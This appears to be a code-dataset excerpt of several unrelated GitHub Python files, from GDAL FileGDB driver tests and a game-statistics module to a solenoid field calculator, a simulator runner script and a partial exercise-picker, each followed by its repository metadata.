ds.TestCapability(ogr.ODsCUpdateFieldDomain) == 1\n\n with pytest.raises(Exception):\n with gdal.ExceptionMgr():\n ds.DeleteFieldDomain(\"not_existing\")\n\n domain = ogr.CreateCodedFieldDomain(\n \"unused_domain\", \"desc\", ogr.OFTInteger, ogr.OFSTNone, {1: \"one\", \"2\": None}\n )\n assert ds.AddFieldDomain(domain)\n assert ds.DeleteFieldDomain(\"unused_domain\")\n domain = ds.GetFieldDomain(\"unused_domain\")\n assert domain is None\n\n domain = ogr.CreateRangeFieldDomain(\n \"SpeedLimit\", \"desc\", ogr.OFTInteger, ogr.OFSTNone, 1, True, 2, True\n )\n assert ds.UpdateFieldDomain(domain)\n\n ds = None\n\n ds = gdal.OpenEx(out_dir, allowed_drivers=[\"FileGDB\"])\n domain = ds.GetFieldDomain(\"SpeedLimit\")\n assert domain.GetDescription() == \"desc\"\n ds = None\n\n try:\n shutil.rmtree(out_dir)\n except OSError:\n pass\n\n\n###############################################################################\n# Test reading layer hierarchy\n\n\n@gdaltest.disable_exceptions()\ndef test_ogr_fgdb_read_layer_hierarchy():\n\n if False:\n # Test dataset produced with:\n from osgeo import ogr, osr\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n ds = ogr.GetDriverByName(\"FileGDB\").CreateDataSource(\"featuredataset.gdb\")\n ds.CreateLayer(\n \"fd1_lyr1\", srs=srs, geom_type=ogr.wkbPoint, options=[\"FEATURE_DATASET=fd1\"]\n )\n ds.CreateLayer(\n \"fd1_lyr2\", srs=srs, geom_type=ogr.wkbPoint, options=[\"FEATURE_DATASET=fd1\"]\n )\n srs2 = osr.SpatialReference()\n srs2.ImportFromEPSG(32631)\n ds.CreateLayer(\"standalone\", srs=srs2, geom_type=ogr.wkbPoint)\n srs3 = osr.SpatialReference()\n srs3.ImportFromEPSG(32632)\n ds.CreateLayer(\n \"fd2_lyr\", srs=srs3, geom_type=ogr.wkbPoint, options=[\"FEATURE_DATASET=fd2\"]\n )\n\n ds = gdal.OpenEx(\"data/filegdb/featuredataset.gdb\")\n rg = ds.GetRootGroup()\n\n assert rg.GetGroupNames() == [\"fd1\", \"fd2\"]\n assert rg.OpenGroup(\"not_existing\") is None\n\n fd1 = rg.OpenGroup(\"fd1\")\n assert fd1 is not None\n assert fd1.GetVectorLayerNames() == [\"fd1_lyr1\", \"fd1_lyr2\"]\n assert fd1.OpenVectorLayer(\"not_existing\") is None\n assert len(fd1.GetGroupNames()) == 0\n\n fd1_lyr1 = fd1.OpenVectorLayer(\"fd1_lyr1\")\n assert fd1_lyr1 is not None\n assert fd1_lyr1.GetName() == \"fd1_lyr1\"\n\n fd1_lyr2 = fd1.OpenVectorLayer(\"fd1_lyr2\")\n assert fd1_lyr2 is not None\n assert fd1_lyr2.GetName() == \"fd1_lyr2\"\n\n fd2 = rg.OpenGroup(\"fd2\")\n assert fd2 is not None\n assert fd2.GetVectorLayerNames() == [\"fd2_lyr\"]\n fd2_lyr = fd2.OpenVectorLayer(\"fd2_lyr\")\n assert fd2_lyr is not None\n\n assert rg.GetVectorLayerNames() == [\"standalone\"]\n standalone = rg.OpenVectorLayer(\"standalone\")\n assert standalone is not None\n\n\n###############################################################################\n# Test renaming a layer\n\n\n@pytest.mark.parametrize(\"options\", [[], [\"FEATURE_DATASET=fd1\"]])\ndef test_ogr_fgdb_rename_layer(fgdb_drv, options):\n\n try:\n shutil.rmtree(\"tmp/rename.gdb\")\n except OSError:\n pass\n\n srs4326 = osr.SpatialReference()\n srs4326.ImportFromEPSG(4326)\n\n ds = fgdb_drv.CreateDataSource(\"tmp/rename.gdb\")\n ds.CreateLayer(\"other_layer\", geom_type=ogr.wkbNone)\n lyr = ds.CreateLayer(\"foo\", geom_type=ogr.wkbPoint, srs=srs4326, options=options)\n assert lyr.TestCapability(ogr.OLCRename) == 1\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetGeometryDirectly(ogr.CreateGeometryFromWkt(\"POINT (1 2)\"))\n lyr.CreateFeature(f)\n\n assert lyr.Rename(\"bar\") == ogr.OGRERR_NONE\n assert lyr.GetDescription() == \"bar\"\n assert lyr.GetLayerDefn().GetName() == \"bar\"\n\n with gdal.quiet_errors():\n assert lyr.Rename(\"bar\") != ogr.OGRERR_NONE\n\n with gdal.quiet_errors():\n assert lyr.Rename(\"other_layer\") != ogr.OGRERR_NONE\n\n # Second renaming\n assert lyr.Rename(\"baz\") == ogr.OGRERR_NONE\n assert lyr.GetDescription() == \"baz\"\n assert lyr.GetLayerDefn().GetName() == \"baz\"\n\n lyr.ResetReading()\n f = lyr.GetNextFeature()\n assert f.GetGeometryRef() is not None\n\n ds = None\n\n ds = ogr.Open(\"tmp/rename.gdb\")\n lyr = ds.GetLayerByName(\"baz\")\n assert lyr is not None, [\n ds.GetLayer(i).GetName() for i in range(ds.GetLayerCount())\n ]\n\n lyr.ResetReading()\n f = lyr.GetNextFeature()\n assert f.GetGeometryRef() is not None\n\n ds = None\n\n try:\n shutil.rmtree(\"tmp/rename.gdb\")\n except OSError:\n pass\n\n\n###############################################################################\n# Test that non-spatial tables which are not present in GDB_Items are listed\n# see https://github.com/OSGeo/gdal/issues/4463\n\n\n@pytest.mark.require_driver(\"OpenFileGDB\")\ndef test_ogr_filegdb_non_spatial_table_outside_gdb_items(openfilegdb_drv, fgdb_drv):\n openfilegdb_drv.Deregister()\n fgdb_drv.Deregister()\n\n # Force FileGDB first\n fgdb_drv.Register()\n openfilegdb_drv.Register()\n\n ds = ogr.Open(\"data/filegdb/table_outside_gdbitems.gdb\")\n assert ds is not None\n assert ds.GetDriver().GetName() == \"FileGDB\"\n\n assert ds.GetLayerCount() == 3, \"did not get expected layer count\"\n layer_names = set(ds.GetLayer(i).GetName() for i in range(ds.GetLayerCount()))\n assert layer_names == {\"aquaduct\", \"flat_table1\", \"flat_table2\"}\n\n\n###############################################################################\n# Test reading .gdb where the CRS in the XML definition of the feature\n# table is not consistent with the one of the feature dataset\n\n\ndef test_ogr_filegdb_inconsistent_crs_feature_dataset_and_feature_table():\n ds = ogr.Open(\"data/filegdb/inconsistent_crs_feature_dataset_and_feature_table.gdb\")\n assert ds is not None\n lyr = ds.GetLayer(0)\n srs = lyr.GetSpatialRef()\n assert srs is not None\n assert srs.GetAuthorityCode(None) == \"4326\"\n\n\n###############################################################################\n# Test reading .gdb with LengthFieldName / AreaFieldName\n\n\ndef test_ogr_filegdb_shape_length_shape_area_as_default_in_field_defn(fgdb_drv):\n ds = ogr.Open(\"data/filegdb/filegdb_polygonzm_m_not_closing_with_curves.gdb\")\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n assert (\n lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"Shape_Area\")).GetDefault()\n == \"FILEGEODATABASE_SHAPE_AREA\"\n )\n assert (\n lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"Shape_Length\")).GetDefault()\n == \"FILEGEODATABASE_SHAPE_LENGTH\"\n )\n\n\n###############################################################################\n# Test explicit CREATE_SHAPE_AREA_AND_LENGTH_FIELDS=YES option\n\n\ndef test_ogr_filegdb_CREATE_SHAPE_AREA_AND_LENGTH_FIELDS_explicit(fgdb_drv):\n\n dirname = \"tmp/test_ogr_filegdb_CREATE_SHAPE_AREA_AND_LENGTH_FIELDS_explicit.gdb\"\n ds = fgdb_drv.CreateDataSource(dirname)\n\n srs = osr.SpatialReference()\n srs.ImportFromEPSG(4326)\n\n lyr = ds.CreateLayer(\n \"line\",\n srs=srs,\n geom_type=ogr.wkbLineString,\n options=[\"CREATE_SHAPE_AREA_AND_LENGTH_FIELDS=YES\"],\n )\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetGeometryDirectly(ogr.CreateGeometryFromWkt(\"LINESTRING(0 0,2 0)\"))\n lyr.CreateFeature(f)\n\n lyr = ds.CreateLayer(\n \"area\",\n srs=srs,\n geom_type=ogr.wkbPolygon,\n options=[\"CREATE_SHAPE_AREA_AND_LENGTH_FIELDS=YES\"],\n )\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetGeometryDirectly(\n ogr.CreateGeometryFromWkt(\n \"POLYGON((0 0,0 1,1 1,1 0,0 0),(0.2 0.2,0.2 0.8,0.8 0.8,0.8 0.2,0.2 0.2))\"\n )\n )\n lyr.CreateFeature(f)\n\n ds = None\n\n ds = ogr.Open(dirname)\n\n lyr = ds.GetLayerByName(\"line\")\n f = lyr.GetNextFeature()\n lyr_defn = lyr.GetLayerDefn()\n assert lyr_defn.GetFieldIndex(\"Shape_Length\") >= 0\n assert lyr_defn.GetFieldIndex(\"Shape_Area\") < 0\n assert (\n lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"Shape_Length\")).GetDefault()\n == \"FILEGEODATABASE_SHAPE_LENGTH\"\n )\n assert f[\"Shape_Length\"] == 2\n\n lyr = ds.GetLayerByName(\"area\")\n f = lyr.GetNextFeature()\n lyr_defn = lyr.GetLayerDefn()\n assert lyr_defn.GetFieldIndex(\"Shape_Length\") >= 0\n assert lyr_defn.GetFieldIndex(\"Shape_Area\") >= 0\n assert (\n lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"Shape_Area\")).GetDefault()\n == \"FILEGEODATABASE_SHAPE_AREA\"\n )\n assert (\n lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"Shape_Length\")).GetDefault()\n == \"FILEGEODATABASE_SHAPE_LENGTH\"\n )\n assert f[\"Shape_Length\"] == pytest.approx(6.4)\n assert f[\"Shape_Area\"] == pytest.approx(0.64)\n\n ds = None\n\n try:\n shutil.rmtree(dirname)\n except OSError:\n pass\n\n\n###############################################################################\n# Test explicit CREATE_SHAPE_AREA_AND_LENGTH_FIELDS=YES option\n\n\ndef test_ogr_filegdb_CREATE_SHAPE_AREA_AND_LENGTH_FIELDS_implicit(fgdb_drv):\n\n dirname = \"tmp/test_ogr_filegdb_CREATE_SHAPE_AREA_AND_LENGTH_FIELDS_implicit.gdb\"\n gdal.VectorTranslate(\n dirname,\n \"data/filegdb/filegdb_polygonzm_m_not_closing_with_curves.gdb\",\n options=\"-f FileGDB -unsetfid -fid 1\",\n )\n\n ds = ogr.Open(dirname)\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n assert (\n lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"Shape_Area\")).GetDefault()\n == \"FILEGEODATABASE_SHAPE_AREA\"\n )\n assert (\n lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"Shape_Length\")).GetDefault()\n == \"FILEGEODATABASE_SHAPE_LENGTH\"\n )\n\n ds = None\n\n try:\n shutil.rmtree(dirname)\n except OSError:\n pass\n\n\n@pytest.mark.require_driver(\"OpenFileGDB\")\ndef test_ogr_filegdb_read_relationships(openfilegdb_drv, fgdb_drv):\n openfilegdb_drv.Deregister()\n fgdb_drv.Deregister()\n\n # Force FileGDB first\n fgdb_drv.Register()\n openfilegdb_drv.Register()\n\n # no relationships\n ds = gdal.OpenEx(\"data/filegdb/Domains.gdb\", gdal.OF_VECTOR)\n assert ds.GetRelationshipNames() is None\n\n # has relationships\n ds = gdal.OpenEx(\"data/filegdb/relationships.gdb\", gdal.OF_VECTOR)\n assert ds.GetDriver().GetDescription() == \"FileGDB\"\n assert set(ds.GetRelationshipNames()) == {\n \"composite_many_to_many\",\n \"composite_one_to_many\",\n \"composite_one_to_one\",\n \"simple_attributed\",\n \"simple_backward_message_direction\",\n \"simple_both_message_direction\",\n \"simple_forward_message_direction\",\n \"simple_many_to_many\",\n \"simple_one_to_many\",\n \"simple_relationship_one_to_one\",\n \"points__ATTACHREL\",\n }\n\n assert ds.GetRelationship(\"xxxx\") is None\n\n rel = ds.GetRelationship(\"simple_relationship_one_to_one\")\n assert rel is not None\n assert rel.GetName() == \"simple_relationship_one_to_one\"\n assert rel.GetLeftTableName() == \"table1\"\n assert rel.GetRightTableName() == \"table2\"\n assert rel.GetMappingTableName() == \"\"\n assert rel.GetCardinality() == gdal.GRC_ONE_TO_ONE\n assert rel.GetType() == gdal.GRT_ASSOCIATION\n assert rel.GetLeftTableFields() == [\"pk\"]\n assert rel.GetRightTableFields() == [\"parent_pk\"]\n assert rel.GetLeftMappingTableFields() is None\n assert rel.GetRightMappingTableFields() is None\n assert rel.GetForwardPathLabel() == \"my forward path label\"\n assert rel.GetBackwardPathLabel() == \"my backward path label\"\n assert rel.GetRelatedTableType() == \"feature\"\n\n rel = ds.GetRelationship(\"simple_one_to_many\")\n assert rel is not None\n assert rel.GetName() == \"simple_one_to_many\"\n assert rel.GetLeftTableName() == \"table1\"\n assert rel.GetRightTableName() == \"table2\"\n assert rel.GetMappingTableName() == \"\"\n assert rel.GetCardinality() == gdal.GRC_ONE_TO_MANY\n assert rel.GetType() == gdal.GRT_ASSOCIATION\n assert rel.GetLeftTableFields() == [\"pk\"]\n assert rel.GetRightTableFields() == [\"parent_pk\"]\n assert rel.GetRelatedTableType() == \"feature\"\n\n rel = ds.GetRelationship(\"simple_many_to_many\")\n assert rel is not None\n assert rel.GetName() == \"simple_many_to_many\"\n assert rel.GetLeftTableName() == \"table1\"\n assert rel.GetRightTableName() == \"table2\"\n assert rel.GetMappingTableName() == \"simple_many_to_many\"\n assert rel.GetCardinality() == gdal.GRC_MANY_TO_MANY\n assert rel.GetType() == gdal.GRT_ASSOCIATION\n assert rel.GetLeftTableFields() == [\"pk\"]\n assert rel.GetLeftMappingTableFields() == [\"origin_foreign_key\"]\n assert rel.GetRightTableFields() == [\"parent_pk\"]\n assert rel.GetRightMappingTableFields() == [\"destination_foreign_key\"]\n assert rel.GetRelatedTableType() == \"feature\"\n\n rel = ds.GetRelationship(\"composite_one_to_one\")\n assert rel is not None\n assert rel.GetName() == \"composite_one_to_one\"\n assert rel.GetLeftTableName() == \"table1\"\n assert rel.GetRightTableName() == \"table3\"\n assert rel.GetMappingTableName() == \"\"\n assert rel.GetCardinality() == gdal.GRC_ONE_TO_ONE\n assert rel.GetType() == gdal.GRT_COMPOSITE\n assert rel.GetLeftTableFields() == [\"pk\"]\n assert rel.GetRightTableFields() == [\"parent_pk\"]\n assert rel.GetRelatedTableType() == \"feature\"\n\n rel = ds.GetRelationship(\"composite_one_to_many\")\n assert rel is not None\n assert rel.GetName() == \"composite_one_to_many\"\n assert rel.GetLeftTableName() == \"table5\"\n assert rel.GetRightTableName() == \"table4\"\n assert rel.GetMappingTableName() == \"\"\n assert rel.GetCardinality() == gdal.GRC_ONE_TO_MANY\n assert rel.GetType() == gdal.GRT_COMPOSITE\n assert rel.GetLeftTableFields() == [\"pk\"]\n assert rel.GetRightTableFields() == [\"parent_pk\"]\n assert rel.GetRelatedTableType() == \"feature\"\n\n rel = ds.GetRelationship(\"composite_many_to_many\")\n assert rel is not None\n assert rel.GetName() == \"composite_many_to_many\"\n assert rel.GetLeftTableName() == \"table6\"\n assert rel.GetRightTableName() == \"table7\"\n assert rel.GetMappingTableName() == \"composite_many_to_many\"\n assert rel.GetCardinality() == gdal.GRC_MANY_TO_MANY\n assert rel.GetType() == gdal.GRT_COMPOSITE\n assert rel.GetLeftTableFields() == [\"pk\"]\n assert rel.GetLeftMappingTableFields() == [\"origin_foreign_key\"]\n assert rel.GetRightTableFields() == [\"parent_pk\"]\n assert rel.GetRightMappingTableFields() == [\"dest_foreign_key\"]\n assert rel.GetRelatedTableType() == \"feature\"\n\n rel = ds.GetRelationship(\"points__ATTACHREL\")\n assert rel is not None\n assert rel.GetName() == \"points__ATTACHREL\"\n assert rel.GetLeftTableName() == \"points\"\n assert rel.GetRightTableName() == \"points__ATTACH\"\n assert rel.GetMappingTableName() == \"\"\n assert rel.GetCardinality() == gdal.GRC_ONE_TO_MANY\n assert rel.GetType() == gdal.GRT_COMPOSITE\n assert rel.GetLeftTableFields() == [\"OBJECTID\"]\n assert rel.GetRightTableFields() == [\"REL_OBJECTID\"]\n assert rel.GetForwardPathLabel() == \"attachment\"\n assert rel.GetBackwardPathLabel() == \"object\"\n assert rel.GetRelatedTableType() == \"media\"\n\n\n###############################################################################\n# Test inserting geometries of type incompatible with the layer geometry type\n\n\n@pytest.mark.parametrize(\n \"layer_geom_type,wkt\",\n [\n (ogr.wkbLineString, \"POLYGON((0 0,0 1,1 1,0 0))\"),\n (ogr.wkbPolygon, \"LINESTRING(0 0,1 1)\"),\n (ogr.wkbPoint, \"MULTIPOINT((0 0))\"),\n (ogr.wkbMultiPoint, \"POINT(0 0)\"),\n ],\n)\ndef test_ogr_filegdb_incompatible_geometry_types(fgdb_drv, layer_geom_type, wkt):\n\n dirname = \"tmp/test_ogr_filegdb_incompatible_geometry_types.gdb\"\n\n try:\n shutil.rmtree(dirname)\n except OSError:\n pass\n\n ds = fgdb_drv.CreateDataSource(dirname)\n\n srs = osr.SpatialReference()\n srs.ImportFromEPSG(4326)\n\n lyr = ds.CreateLayer(\"test\", srs=srs, geom_type=layer_geom_type)\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetGeometryDirectly(ogr.CreateGeometryFromWkt(wkt))\n with gdal.quiet_errors():\n assert lyr.CreateFeature(f) == ogr.OGRERR_FAILURE\n ds = None\n\n try:\n shutil.rmtree(dirname)\n except OSError:\n pass\n\n\n###############################################################################\n# Test reading an empty polygon\n\n\ndef test_ogr_filegdb_read_empty_polygon():\n\n # Dataset generated by OpenFileGDB driver\n ds = ogr.Open(\"data/filegdb/empty_polygon.gdb\")\n lyr = ds.GetLayer(0)\n f = lyr.GetNextFeature()\n assert f.GetGeometryRef().IsEmpty()\n","repo_name":"OSGeo/gdal","sub_path":"autotest/ogr/ogr_fgdb.py","file_name":"ogr_fgdb.py","file_ext":"py","file_size_in_byte":96230,"program_lang":"python","lang":"en","doc_type":"code","stars":4154,"dataset":"github-code","pt":"19"} +{"seq_id":"17538794973","text":"import os\nimport math\n\nTITLE = 0\nSOLD = 1\nRELEASE = 2\nGENRE = 3\nPUBLISHER = 4\n\n\n# Reads the file to a 2D list, and returns it\ndef read_file(file_name):\n games = []\n os.chdir(os.path.dirname(os.path.realpath(__file__)))\n file = open(file_name)\n for line in file:\n games.append(line.split(\"\\t\"))\n file.close()\n for game in games:\n game[PUBLISHER] = game[PUBLISHER][:-1]\n return games\n\n\n# What is the title of the most played game (i.e. sold the most copies)?\ndef get_most_played(file_name):\n games = read_file(file_name)\n max_copies_sold = 0\n index = 0\n for idx, game in enumerate(games):\n if float(game[SOLD]) > max_copies_sold:\n max_copies_sold = float(game[SOLD])\n index = idx\n return games[index][TITLE]\n\n\n# How many copies have been sold total?\ndef sum_sold(file_name):\n games = read_file(file_name)\n total_sold = 0\n for game in games:\n total_sold += float(game[SOLD])\n return total_sold\n\n\n# What is the average selling?\ndef get_selling_avg(file_name):\n games = read_file(file_name)\n return sum_sold(file_name) / len(games)\n\n\n# How many characters long is the longest title?\ndef count_longest_title(file_name):\n games = read_file(file_name)\n max_chars = 0\n for game in games:\n if len(game[TITLE]) > max_chars:\n max_chars = len(game[TITLE])\n return max_chars\n\n\n# What is the average of the release dates?\ndef get_date_avg(file_name):\n games = read_file(file_name)\n total_years = 0\n for game in games:\n total_years += int(game[RELEASE])\n return math.ceil(total_years / len(games))\n\n\n# What properties has a game?\ndef get_game(file_name, title):\n games = read_file(file_name)\n the_game = []\n for game in games:\n if game[TITLE] == title:\n the_game.append(game[TITLE])\n the_game.append(float(game[SOLD]))\n the_game.append(int(game[RELEASE]))\n the_game.append(game[GENRE])\n the_game.append(game[PUBLISHER])\n return the_game\n\n\n# How many games are there grouped by genre?\ndef count_grouped_by_genre(file_name):\n games = read_file(file_name)\n count_by_genres = {}\n for game in games:\n if game[GENRE] not in count_by_genres:\n count_by_genres[game[GENRE]] = 1\n else:\n count_by_genres[game[GENRE]] += 1\n return count_by_genres\n\n\n# What is the date ordered list of the games?\ndef get_date_ordered(file_name):\n games = sorted(read_file(file_name))\n titles = []\n while len(games) != 0:\n max_year = games[0][RELEASE]\n max_year_index = 0\n for idx, game in enumerate(games):\n if game[RELEASE] > max_year:\n max_year = game[RELEASE]\n max_year_index = idx\n titles.append(games[max_year_index][TITLE])\n del games[max_year_index]\n return titles\n","repo_name":"tiborMaron/04_SI_game_statistics_reports","sub_path":"part2/reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"18185336568","text":"\"\"\"flask student stories remove unique on email\n\nRevision ID: 967bb0288edf\nRevises: 00f001a958b1\nCreate Date: 2022-03-04 07:02:13.541906\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '967bb0288edf'\ndown_revision = '00f001a958b1'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('flask student stories', schema=None) as batch_op:\n batch_op.drop_constraint('uq_flask student stories_email', type_='unique')\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('flask student stories', schema=None) as batch_op:\n batch_op.create_unique_constraint('uq_flask student stories_email', ['email'])\n\n # ### end Alembic commands ###\n","repo_name":"GitauHarrison/somasoma-eLearning-app","sub_path":"migrations/versions/967bb0288edf_flask_student_stories_remove_unique_on_.py","file_name":"967bb0288edf_flask_student_stories_remove_unique_on_.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"30712136548","text":"import numba as nb\nimport numpy as np\nfrom numba import float64\nfrom numpy import cos, sin, pi\n\nclass HelicoidalSolenoid:\n def __init__(self):\n self.turns = 0\n self.stretch = 0\n self.results = {}\n\n def calculate(self):\n # Parameters\n l = self.turns # Number of Turns\n h = self.stretch # R / h - Stretch\n n = 2000 # Precision Simpson\n\n def integrate(x, y, z, axis):\n def simpson(f, x, y, z):\n a = 0\n b = l\n h = (a-b) / n\n k = 0.0\n t = h\n\n for i in range(1, n//2 + 1):\n k += 4*f(x, y, z, t)\n t += 2*h\n\n t = 2*h\n for i in range(1, n//2):\n k += 2*f(x, y, z, t)\n t += 2*h\n\n return (h/3)*(f(x, y, z, a)+f(x, y, z, b)+k)\n\n if axis == 'x':\n @nb.vectorize\n def dBx(x,y,z,t):\n d = ((x - cos(2*pi*t))**2 + (y - np.sin(2*pi*t))**2 + (z - h*t)**2)**(3/2)\n n = 2*pi*cos(2*pi*t)*(z - h*t) - h*(y - sin(2*pi*t))\n return n / d\n return simpson(dBx, x, y, z)\n elif axis == 'y':\n @nb.vectorize\n def dBy(x,y,z,t):\n d = ((x - cos(2*pi*t))**2 + (y - np.sin(2*pi*t))**2 + (z - h*t)**2)**(3/2)\n n = h*(x - cos(2*pi*t)) + 2*pi*sin(2*pi*t)*(z - h*t)\n return n / d\n return simpson(dBy, x, y, z)\n elif axis == 'z':\n @nb.vectorize\n def dBz(x,y,z,t):\n d = ((x - cos(2*pi*t))**2 + (y - np.sin(2*pi*t))**2 + (z - h*t)**2)**(3/2)\n n = - 2*pi*sin(2*pi*t)*(y - sin(2*pi*t)) - 2*pi*cos(2*pi*t)*(x - cos(2*pi*t))\n return n / d\n return simpson(dBz, x, y, z)\n\n n_axis = 100\n\n if self.view_mode == 'xy':\n x = np.linspace(-2, 2, n_axis)\n y = np.linspace(-2, 2, n_axis)\n\n X, Y = np.meshgrid(x, y, indexing='xy')\n\n Bx = -integrate(-X, -Y, 0, 'x')\n By = -integrate(-X, -Y, 0, 'y')\n\n self.results = {\n 'HV': (X, Y),\n 'Bhv': (Bx, By)\n }\n elif self.view_mode == 'yz' or self.view_mode == 'inf':\n y = np.linspace(-2, 2, n_axis)\n z = np.linspace(-1, 1 + h*l, n_axis)\n\n Y, Z = np.meshgrid(y, z, indexing='xy')\n\n By = -integrate(0, -Y, -Z, 'y')\n Bz = -integrate(0, -Y, -Z, 'z')\n\n self.results = {\n 'HV': (Y, Z),\n 'Bhv': (By, Bz)\n }\n\n def feed(self, params):\n self.turns = params['turns']\n self.stretch = params['stretch']\n self.view_mode = params['view_mode']\n\n","repo_name":"14NGiestas/EletromagComputacional","sub_path":"tarefa-4/src/model/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"2024967722","text":"\nimport argparse\nimport sys\nimport subprocess\ndef run_dgen_unoptimized (args):\n subprocess.run(['cp',\n 'dgen/target/debug/dgen',\n 'dgen_bin'])\n subprocess.run(['./dgen_bin',\n args[0], # Program name\n args[1], # Stateful ALU\n args[2], # Stateless ALU\n args[3], # Pipeline depth\n args[4], # Pipeline width\n args[5], # Stateful ALUs per stage\n args[6], # Constant vec\n 'src/prog_to_run.rs', # Output prog_to_run\n ])\n subprocess.run(['rm',\n 'dgen_bin'])\n\ndef run_druzhba_unoptimized (args):\n subprocess.run(['cargo',\n 'run',\n args[7],\n args[8],\n args[9]])\ndef run_dgen_optimized (args):\n subprocess.run(['cp',\n 'dgen/target/debug/dgen',\n 'dgen_bin'])\n subprocess.run(['./dgen_bin',\n args[0], # Program name\n args[1], # Stateful ALU\n args[2], # Stateless ALU\n args[3], # Pipeline depth\n args[4], # Pipeline width\n args[5], # Stateful ALUs per stage\n args[6], # Constant vec\n 'src/prog_to_run.rs', # Output prog_to_run\n args[7], # Hole configurations\n args[10] # Optimization level\n ])\n subprocess.run(['rm',\n 'dgen_bin'])\n\ndef run_druzhba_optimized (args):\n subprocess.run(['cargo',\n 'run',\n args[8],\n args[9]])\ndef main ():\n argv = sys.argv\n parser = argparse.ArgumentParser(description='dsim execution')\n parser.add_argument(\n 'program_name', \n type=str,\n help='Program spec name')\n parser.add_argument(\n 'stateful_alu', \n type=str,\n help='Path to stateful ALU file')\n parser.add_argument(\n 'stateless_alu', \n type=str,\n help='Path to stateless ALU file')\n parser.add_argument(\n 'pipeline_depth', \n type=int,\n help='Depth of pipeline')\n parser.add_argument(\n 'pipeline_width', \n type=int,\n help='Width of pipeline')\n parser.add_argument(\n 'num_stateful_alus', \n type=int,\n help='Number of stateful ALUs per stage (number of state variables in spec)')\n parser.add_argument(\n 'constant_set',\n type=str,\n help='Constant vector')\n parser.add_argument(\n 'hole_configs',\n type=str,\n help='File path for the file containing the hole-to-value assignments')\n\n parser.add_argument(\n 'num_packets',\n type=int,\n help='Number of PHV containers (should be equal to the number of packet fields)')\n parser.add_argument(\n 'ticks',\n type=int,\n help='Number of ticks')\n parser.add_argument(\n 'opt_level',\n type=int,\n help='Number corresponding to optimization level (0 for unoptimized, 1 for optimized)')\n\n\n raw_args = parser.parse_args(argv[1:])\n args = []\n args.append(raw_args.program_name)\n args.append(raw_args.stateful_alu)\n args.append(raw_args.stateless_alu)\n args.append(str(raw_args.pipeline_depth))\n args.append(str(raw_args.pipeline_width))\n args.append(str(raw_args.num_stateful_alus))\n args.append(raw_args.constant_set)\n args.append(raw_args.hole_configs)\n args.append(str(raw_args.num_packets))\n args.append(str(raw_args.ticks))\n opt_level = raw_args.opt_level\n args.append(str(opt_level))\n subprocess.run(['./build_dgen.sh'])\n\n if opt_level == 0:\n\n run_dgen_unoptimized(args)\n run_druzhba_unoptimized(args)\n\n else:\n run_dgen_optimized(args)\n run_druzhba_optimized(args)\n\n\nif __name__== \"__main__\":\n main()\n","repo_name":"chipmunk-project/druzhba","sub_path":"execute_simulator.py","file_name":"execute_simulator.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"2629526467","text":"import socket\nfrom socket import*\ns=socket(AF_INET,SOCK_STREAM)\ns.bind(('192.168.0.182',7024))\ns.listen(0)\ns.settimeout(20)\ntry:\n c,addr=s.accept()\n c.send(b\"hello\")\n c.close()\n s.close()\nexcept timeout:\n s.close()\n\n\n#var=s.recv(21)\n#print(var)\n#s.close()","repo_name":"SamyagJ/server_communication","sub_path":"connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"5655163148","text":"## Q1a Substitution Cipher\n# write your code below\ndef encrypt(my_dict, msg):\n new_msg = ''\n for char in msg:\n if char.isalpha():\n new_msg += my_dict[char]\n else:\n new_msg += char\n return new_msg\n","repo_name":"ElvisYong/IS111","sub_path":"Week 11/Lab/lab8_starting_code/q1a.py","file_name":"q1a.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31501815639","text":"# for picking exercises\nimport random\n# for loading emails\nimport csv\n# to call the shell email sender script and check for the email list file\nimport os\n# to get the date\nimport datetime\n\n# minimum number of minutes\nMIN_MINUTES = 7\n\n# outputted email subject & body filenames\nEMAIL_SUBJECT_FILENAME = \"email_subject.txt\"\nEMAIL_BODY_FILENAME = \"email_body.txt\"\n\n# EXERCISES TO PICK FROM\n# [choice weight, 'name', [times it can be done for]]\n# weights are 0-100, 0 will never be picked, 100 will always - NOT CURRENTLY USED\nEXERCISES = [\n [50, 'plank', [1, 1.5, 2, 2.5, 3]],\n [50, 'side planks (switch @ half)', [1, 1.5, 2]],\n [50, 'side planks w/ dips (switch @ half)', [1, 1.5, 2]],\n [50, 'reverse plank', [1, 1.5, 2, 2.5]],\n [50, 'star plank', [1, 1.5, 2]],\n [50, 'thread the needle planks', [1, 1.5, 2]],\n [50, 'elbow slap planks', [30, 45, 1]],\n [50, 'crunches', [30, 45, 1, 